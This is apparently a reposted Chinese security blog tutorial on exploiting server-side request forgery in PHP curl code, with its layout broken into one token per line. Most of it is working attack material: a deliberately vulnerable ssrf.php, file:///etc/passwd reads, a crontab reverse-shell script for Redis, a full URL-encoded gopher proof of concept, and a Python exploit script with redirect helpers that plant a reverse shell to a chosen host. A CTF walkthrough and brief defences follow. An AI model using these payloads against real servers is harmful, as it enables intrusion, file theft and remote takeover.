http://www.91ri.org/17111.html
前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的
以curl为例,漏洞代码为ssrf.php
1
2
3
4
5
6
7
8
9
10
|
&
lt
;
?
php
$
ch
=
curl_init
(
)
;
curl_setopt
(
$
ch
,
CURLOPT_URL
,
$
_GET
[
'url'
]
)
;
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt
(
$
ch
,
CURLOPT_HEADER
,
0
)
;
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec
(
$
ch
)
;
curl_close
(
$
ch
)
;
?
&
gt
;
|
首先查看curl的版本和该版本支持的协议
1
2
3
4
5
6
7
8
|
[
root
@
localhost
html
]
# curl -V
curl
7.29.0
(
x86_64
-
redhat
-
linux
-
gnu
)
libcurl
/
7.29.0
NSS
/
3.21
Basic
ECC
zlib
/
1.2.7
libidn
/
1.28
libssh2
/
1.4.3
Protocols
:
dict
file
ftp
ftps
gopher
http
https
imap
imaps
ldap
ldaps
pop3
pop3s
rtsp
scp
sftp
smtp
smtps
telnet
tftp
Features
:
AsynchDNS
GSS
-
Negotiate
IDN
IPv6
Largefile
NTLM
NTLM_WB
SSL
libz
unix
-
sockets
|
可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多
gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口,然后利用gopher协议访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
[
root
@
localhost
~
]
# nc -l -vv 2333
Ncat
:
Version
6.40
(
http
:
//nmap.org/ncat )
Ncat
:
Listening
on
::
:
2333
Ncat
:
Listening
on
0.0.0.0
:
2333
Ncat
:
Connection
from
127.0.0.1.
Ncat
:
Connection
from
127.0.0.1
:
47726
[
root
@
localhost
html
]
# curl -v 'http://127.0.0.1/ssrf.php?
url
=
gopher
:
//127.0.0.1:2333/_test'
[
root
@
localhost
~
]
# nc -l -vv 2333
Ncat
:
Version
6.40
(
http
:
//nmap.org/ncat )
Ncat
:
Listening
on
::
:
2333
Ncat
:
Listening
on
0.0.0.0
:
2333
Ncat
:
Connection
from
127.0.0.1.
Ncat
:
Connection
from
127.0.0.1
:
47726.
test
|
可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白
dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
1
|
http
:
//4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
|
即可看到redis的相关配置。
1
|
http
:
//4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
|
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。
file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问
1
|
http
:
//4o4notfound.org/ssrf.php?url=file:///etc/passwd
|
即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了
http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用
主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell:
1
2
3
4
5
|
echo
-
e
"\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"
|
redis
-
cli
-
h
$
1
-
p
$
2
-
x
set
1
redis
-
cli
-
h
$
1
-
p
$
2
config
set
dir
/
var
/
spool
/
cron
/
redis
-
cli
-
h
$
1
-
p
$
2
config
set
dbfilename
root
redis
-
cli
-
h
$
1
-
p
$
2
save
redis
-
cli
-
h
$
1
-
p
$
2
quit
|
执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:
1
|
socat
-
v
tcp
-
listen
:
4444
,
fork
tcp
-
connect
:
localhost
:
6379
|
意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转
执行命令:
1
|
bash
shell
.
sh
127.0.0.1
4444
|
socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
[
root
@
localhost
cron
]
# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
&
gt
;
2017
/
05
/
25
07
:
16
:
51.991865
length
=
18
from
=
0
to
=
17
*
1
\
r
$
8
\
r
flushall
\
r
&
lt
;
2017
/
05
/
25
07
:
16
:
51.992468
length
=
5
from
=
0
to
=
4
+
OK
\
r
&
gt
;
2017
/
05
/
25
07
:
16
:
51.995872
length
=
83
from
=
0
to
=
82
*
3
\
r
$
3
\
r
set
\
r
$
1
\
r
1
\
r
$
56
\
r
*
/
1
*
*
*
*
bash
-
i
&
gt
;
&
amp
;
/
dev
/
tcp
/
127.0.0.1
/
2333
0
&
gt
;
&
amp
;
1
\
r
&
lt
;
2017
/
05
/
25
07
:
16
:
51.996065
length
=
5
from
=
0
to
=
4
+
OK
\
r
&
gt
;
2017
/
05
/
25
07
:
16
:
51.998777
length
=
57
from
=
0
to
=
56
*
4
\
r
$
6
\
r
|
改成适配gopher协议的url:
1
2
3
4
5
6
7
|
gopher
:
//127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0
a*
/
1
*
*
*
*
bash
-
i
&
gt
;
&
amp
;
/
dev
/
tcp
/
127.0.0.1
/
2333
0
&
gt
;
&
amp
;
1
%
0a
%
0a
%
0a
%
0d
%
0a
%
0d
%
0a
%
0d
%
0a
*
4
%
0d
%
0a
$
6
%
0d
%
0aconfig
%
0d
%
0a
$
3
%
0d
%
0aset
%
0d
%
0a
$
3
%
0d
%
0ad
ir
%
0d
%
0a
$
16
%
0d
%
0a
/
var
/
spool
/
cron
/
%
0d
%
0a
*
4
%
0d
%
0a
$
6
%
0d
%
0aconfig
%
0d
%
0a
$
3
%
0d
%
0aset
%
0d
%
0a
$
10
%
0d
%
0adbfilename
%
0d
%
0a
$
4
%
0d
%
0aroot
%
0d
%
0a
*
1
%
0d
%
0a
$
4
%
0d
%
0asave
%
0d
%
0a
*
1
%
0d
%
0a
$
4
%
0d
%
0aq
uit
%
0d
%
0a
|
再进行urlencode,得到payload:
1
2
3
4
5
6
7
8
9
10
11
|
gopher
%
3A
%
2F
%
2F127.0.0.1
%
3A6379
%
2F_
%
2A3
%
250d
%
250a
%
243
%
250d
%
250aset
%
250d
%
250a
%
241
%
250d
%
250a1
%
250d
%
250a
%
2456
%
250d
%
250a
%
250d
%
250a
%
250a
%
250a
%
2A
%
2F1
%
20
%
2A
%
20
%
2A
%
20
%
2A
%
20
%
2A
%
20
bash
%
20
-
i
%
20
%
3E
%
26
%
20
%
2Fdev
%
2Ftcp
%
2F127.0.0.1
%
2F2333
%
200
%
3E
%
261
%
250a
%
250a
%
250a
%
250d
%
250a
%
250d
%
250a
%
250d
%
250a
%
2A4
%
250d
%
250a
%
246
%
250d
%
250aconfig
%
250d
%
250a
%
243
%
250d
%
250aset
%
250d
%
250
a
%
243
%
250d
%
250adir
%
250d
%
250a
%
2416
%
250d
%
250a
%
2Fvar
%
2Fspool
%
2Fcron
%
2F
%
250d
%
250a
%
2A4
%
250
d
%
250a
%
246
%
250d
%
250aconfig
%
250d
%
250a
%
243
%
250d
%
250aset
%
250d
%
250a
%
2410
%
250d
%
250adbfilen
ame
%
250d
%
250a
%
244
%
250d
%
250aroot
%
250d
%
250a
%
2A1
%
250d
%
250a
%
244
%
250d
%
250asave
%
250d
%
250a
%
2
A1
%
250d
%
250a
%
244
%
250d
%
250aquit
%
250d
%
250a
|
最终的攻击poc为:
1
2
3
4
5
6
7
8
9
10
11
|
curl
-
v
'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'
|
执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell
dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import
requests
host
=
'104.224.151.234'
port
=
'6379'
bhost
=
'www.4o4notfound.org'
bport
=
2333
vul_httpurl
=
'http://www.4o4notfound.org/ssrf.php?url='
_location
=
'http://www.4o4notfound.org/302.php'
shell_location
=
'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload
=
'?s=dict%26ip={host}%26port={port}%26data=flushall'
.
format
(
host
=
host
,
port
=
port
)
exp_uri
=
'{vul_httpurl}{0}{1}'
.
format
(
_location
,
_payload
,
vul_httpurl
=
vul_httpurl
)
print
exp_uri
print
requests
.
get
(
exp_uri
)
.
content
#set crontab command
_payload
=
'?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'
.
format
(
host
=
host
,
port
=
port
,
bhost
=
bhost
,
bport
=
bport
)
exp_uri
=
'{vul_httpurl}{0}{1}'
.
format
(
shell_location
,
_payload
,
vul_httpurl
=
vul_httpurl
)
print
exp_uri
print
requests
.
get
(
exp_uri
)
.
content
#confg set dir
_payload
=
'?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/'
.
format
(
host
=
host
,
port
=
port
)
exp_uri
=
'{vul_httpurl}{0}{1}'
.
format
(
_location
,
_payload
,
vul_httpurl
=
vul_httpurl
)
print
exp_uri
print
requests
.
get
(
exp_uri
)
.
content
#config set dbfilename
_payload
=
'?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'
.
format
(
host
=
host
,
port
=
port
)
exp_uri
=
'{vul_httpurl}{0}{1}'
.
format
(
_location
,
_payload
,
vul_httpurl
=
vul_httpurl
)
print
exp_uri
print
requests
.
get
(
exp_uri
)
.
content
#save
_payload
=
'?s=dict%26ip={host}%26port={port}%26data=save'
.
format
(
host
=
host
,
port
=
port
)
exp_uri
=
'{vul_httpurl}{0}{1}'
.
format
(
_location
,
_payload
,
vul_httpurl
=
vul_httpurl
)
print
exp_uri
print
requests
.
get
(
exp_uri
)
.
content
|
因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:
1
2
3
4
5
6
|
&
lt
;
?
php
$
ip
=
$
_GET
[
'ip'
]
;
$
port
=
$
_GET
[
'port'
]
;
$
scheme
=
$
_GET
[
's'
]
;
$
data
=
$
_GET
[
'data'
]
;
header
(
"Location: $scheme://$ip:$port/$data"
)
;
?
&
gt
;
|
shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:
1
2
3
4
5
6
7
8
|
&
lt
;
?
php
$
ip
=
$
_GET
[
'ip'
]
;
$
port
=
$
_GET
[
'port'
]
;
$
bhost
=
$
_GET
[
'bhost'
]
;
$
bport
=
$
_GET
[
'bport'
]
;
$
scheme
=
$
_GET
[
's'
]
;
header
(
"Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""
)
;
?
&
gt
;
|
执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell
绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御:限制协议为HTTP、HTTPS
1
|
curl_setopt
(
$
ch
,
CURLOPT_PROTOCOLS
,
CURLPROTO_HTTP
|
CURLPROTO_HTTPS
)
;
|
禁止30x跳转
1
|
删掉
curl_setopt
(
$
ch
,
CURLOPT_FOLLOWLOCATION
,
1
)
;
|
设置白名单或限制内网ip
一道ctf题目,有两个文件:ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过
curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求:
1
2
3
4
5
6
7
8
9
10
11
12
|
POST
/
flag
.
php
HTTP
/
1.1
Host
:
192.168.154.130
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
6.1
;
WOW64
;
rv
:
50.0
)
Gecko
/
20100101
Firefox
/
50.0
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
*
/
*
;
q
=
0.8
Accept
-
Language
:
zh
-
CN
,
zh
;
q
=
0.8
,
en
-
US
;
q
=
0.5
,
en
;
q
=
0.3
Accept
-
Encoding
:
gzip
,
deflate
Connection
:
keep
-
alive
Upgrade
-
Insecure
-
Requests
:
1
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
Content
-
Length
:
14
username
=
admin
|
因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为
1
2
3
4
5
6
7
8
9
|
header
(
"Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin"
)
;
|
流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的
如有错误,请务必指正。
https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_6d1e28_ke_nei_wang_shell_.html
https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E6%9B%B4%E5%A4%9A%E6%94%BB%E5%87%BB%E9%9D%A2
http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/
http://blog.feei.cn/ssrf/
http://joychou.org/index.php/web/phpssrf.html